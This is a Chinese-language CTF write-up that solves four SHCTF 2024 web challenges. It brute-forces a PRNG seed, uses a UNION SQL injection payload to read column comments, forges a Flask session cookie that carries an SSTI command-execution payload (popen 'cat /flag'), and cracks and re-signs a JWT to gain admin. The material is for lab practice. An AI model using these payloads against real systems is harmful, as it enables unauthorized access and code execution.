跳转至

[SHCTF 2024]Web week2 合集

题目地址:https://ctf.qlu.edu.cn/games/1/challenges

guess_the_number

给出了第一个数,要求写出第二个数。可以猜到和爆破有关,但是没有头绪。我们 f12 打开源代码,可以看到提示:源码在 /s0urce 里面。访问即可获得题目源代码。以下为核心代码:

def init():
    global seed, first_num, second_num
    seed = random.randint(1000000,9999999)
    random.seed(seed)
    first_num = random.randint(1000000000,9999999999)
    second_num = random.randint(1000000000,9999999999)

可以看到,题目先是随机生成了一个 seed, 然后再使用这个 seed 连续生成了两个数字。根据伪随机的概念,对于同一个 seed 生成的随机数序列是固定的,那么我们只要找到这个 seed 就可以得到后面的数字了。

我们直接爆破,看看哪一个 seed 生成的第一个数字和题目给的第一个数字相同,即可得到 seed。

import random
for i in range(1000000, 9999999):
    if i % 100000 == 0:
        print(i)
    random.seed(i)
    first_num = random.randint(1000000000,9999999999)
    if first_num == 7136740205:
        print("Found it", random.randint(1000000000,9999999999))
        break

注意 first_num 每一次做题的时候都会变化,注意改动。

自助查询

第一部分,mysql 的联合查询不解释,直接给出 payload:

?id=-1") or 1=1 union select scretdata,2 from flag

得到提示:

被你查到了, 果然不安全
把重要的东西写在注释就不会忘了

这个提示一开始令我费解,sql 语句里为什么会有注释还可以被查到。后来看了一眼自己数据库的 sql 构建表,明白这个注释指的是针对于 table 或者 column 的注释

最后的做法和查询字段一样,只是把查询的内容换了:

?id=-1") or 1=1 union select group_concat(column_comment),2 from information_schema.columns where table_schema=database()

唯一的区别就是把 column_name 换成了 column_comment

得到答案。

入侵者禁入

题目直接给出了源码,我们审计发现是一个 ssti 题目。但是在此之前,我们先需要通过 /admin 的访问验证。我们访问 /admin,查看 cookie 中的 session 值,base64 解码之后,大概是这样的形式:

{"role":{"flag":"your_flag_here","is_admin":0}}

到这里我们就明白了,我们需要伪造 session, 把 is_admin 设置为 1, 这样 /admin 就会把我们的 flag 参数进行渲染,从而完成 ssti 的攻击。

首先先需要伪造 session 值,以下为脚本,main 函数之前的内容都是可以复用的,直接保存即可:

import zlib
from itsdangerous import base64_decode
import ast
import os
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM:
    def encode(secret_key, session_cookie_structure):
        """ Encode a Flask session cookie """
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)

    @staticmethod
    def decode(session_cookie_value, secret_key=None):
        try:
            if secret_key is None:
                compressed = False
                payload = session_cookie_value
                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]
                data = payload.split(".")[0]
                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)
                return data
            else:
                app = MockApp(secret_key)
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)

if __name__ == "__main__":
    key = "0day_joker"
    content = '''{"role":{"flag":"{{lipsum.__globals__['os'].popen('cat /flag').read()}}","is_admin":1}}'''
    print(FSCM.encode(key, content))

核心代码就是 FSCM.encode(key, content),具体的含义其实挺明显的,把题目中给出的 secret_key 和我们需要的 content 填入其中即可,顺便再完成 ssti 的任务。

登录验证

通过爆破,获得账号密码都是 admin 。题目提示: 你不是真正的 admin。

根据提示查看 cookie, 有一个 token, 是 jwt 的形式。我们需要修改这个 jwt 的内容,首先就要先获得他的 secret_key 。

我们利用 jwt_crack 这个工具,官网来自于 https://github.com/brendan-rius/c-jwt-cracker, 克隆下来,构建成 docker 镜像。

docker build . -t jwtcrack

然后就是直接爆破他的 secret_key。当时我并没有爆破出来,查看答案才知道,我们可以通过第二个参数限制一下爆破的字符。就像这样:

docker run -it --rm jwtcrack:latest eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzAwODQzOTEsImlhdCI6MTczMDA3NzE5MSwibmJmIjoxNzMwMDc3MTkxLCJyb2xlIjoidXNlciJ9.xPNMy0bnmcgDC3h78SBYAwrAEsoCB-i-mCNDaBGY6Pw 0123456789

得到结果为 222333 。所以我们就可以利用这个 secret_key 修改 jwt 的内容了。利用 jwt sign 的功能,签名以下内容:

{
    "exp": 1730084391,
    "iat": 1730077191,
    "nbf": 1730077191,
    "role": "admin"
}

把 token 改一下即可


文章热度:0次阅读